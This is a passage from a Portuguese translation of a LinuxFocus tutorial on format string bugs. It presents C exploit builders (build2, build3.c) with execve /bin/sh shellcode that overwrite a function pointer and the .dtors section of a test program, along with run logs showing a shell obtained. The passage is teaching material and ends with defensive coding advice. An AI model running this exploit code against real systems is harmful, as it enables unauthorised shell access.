fprintf(stderr, "Calling ./vuln ...\n");
fprintf(stderr, "sc = %p\n", argv[2]);
buf = build(strtoul(argv[3], NULL, 16), /* adresse */
argv[2],
atoi(argv[4])); /* offset */
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
}
return EXIT_SUCCESS;
}
O truque é que nós sabemos o que chamar segundo o número de
argumentos que o programa recebeu. Para iniciar a nossa exploração, damos
somente ao build2 o endereço para o qual queremos escrever e o
comprimento. Já não temos de dar mais o valor visto que é avaliado nas
chamadas sucessivas.
Para termos sucesso, precisamos de montar a mesma estrutura da
memória nas diferentes chamadas do build2 e depois do
vuln (é por isso que chamamos a função build(),
no sentido de utilizar a mesma impressão digital da memória):
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Porque é que isto não trabalha? Dissemos que tínhamos de construir
a cópia exacta da memória entre as duas chamadas ... e não o fizemos! O
argv[0] (o nome do programa) alterou-se. O nosso programa é
primeiro chamado build2 (6 bytes) e depois o vuln
(4 bytes). Existe uma diferença de 2 bytes, o que é exactamente o valor que
pode reparar no exemplo acima. O endereço do código da shell durante a
segunda chamada do build2 é dado por
sc=0xbffff88f mas o conteúdo do argv[2] no
vuln dá 20xbffff891: os nossos 2 bytes. Para
resolver isto, basta renomear o nosso build2 para somente 4
letras, por exemplo bui2:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Ganhámos Novamente : Trabalha muito melhor deste modo ;-) O eggshell
está na pilha e alterámos o endereço apontado por ptrf para o
novo código da shell. Claro, que só pode acontecer se a pilha for
executável.
Mas vimos que a formatação de strings permitem-nos escrever em
qualquer sítio: adicionemos um destruidor ao nosso programa na secção .dtors:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Aqui, não é criado nenhum coredump ao sair do
destruidor. Isto deve-se ao facto do código da shell conter uma chamada exit(0).
Em conclusão, como último presente, aqui está o
build3.c que também dá a shell, mas passado de uma variável de
ambiente:
/* build3.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char* build(unsigned int addr, unsigned int value, unsigned int where)
{
//Même fonction que dans build.c
}
int main(int argc, char **argv) {
char **env;
char **arg;
unsigned char *buf;
unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
if (argc == 3) {
fprintf(stderr, "Calling %s ...\n", argv[0]);
buf = build(strtoul(argv[1], NULL, 16), /* adresse */
&shellcode,
atoi(argv[2])); /* offset */
fprintf(stderr, "%d\n", strlen(buf));
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s", buf);
arg = (char **) malloc(sizeof(char *) * 3);
arg[0]=argv[0];
arg[1]=buf;
arg[2]=NULL;
env = (char **) malloc(sizeof(char *) * 4);
env[0]=&shellcode;
env[1]=argv[1];
env[2]=argv[2];
env[3]=NULL;
execve(argv[0],arg,env);
} else
if(argc==2) {
fprintf(stderr, "Calling ./vuln ...\n");
fprintf(stderr, "sc = %p\n", environ[0]);
buf = build(strtoul(environ[1], NULL, 16), /* adresse */
environ[0],
atoi(environ[2])); /* offset */
fprintf(stderr, "%d\n", strlen(buf));
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s", buf);
arg = (char **) malloc(sizeof(char *) * 3);
arg[0]=argv[0];
arg[1]=buf;
arg[2]=NULL;
execve("./vuln",arg,environ);
}
return 0;
}
Mais uma vez, visto que este ambiente está na pilha, precisamos de
ter cuidado para não modificar a memória (por exemplo alternando a posição
das variáveis e dos argumentos) O nome binário deve ter o mesmo número de
caracteres que o nome do programa vulnerável vuln tem.
Aqui, escolhemos utilizar a variável extern char
**environ para definir os valores que precisamos:
environ[0]: contém o código da shell;environ[1]: contém o endereço onde esperamos
escrever;environ[2]: contém o comprimento."%s" quando funções
como o printf(), o syslog(), ..., são chamadas.
Se realmente não conseguir evitar isto, então tem de verificar
cuidadosamente todas as entradas dadas pelo utilizador muito
cuidadosamente.
exec*()), pelos seus encorajamentos ... mas também pelo seu
artigo acerca de bugs de formatação o qual causou, em adição ao nosso
interesse na questão, uma intensa agitação cerebral ;-)
|
|
Páginas Web mantidas pelo time de Editores LinuxFocus
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Clique aqui para reportar uma falha ou para enviar um comentário para LinuxFocus |
Informação sobre tradução:
|
2001-09-28, generated by lfparser version 2.17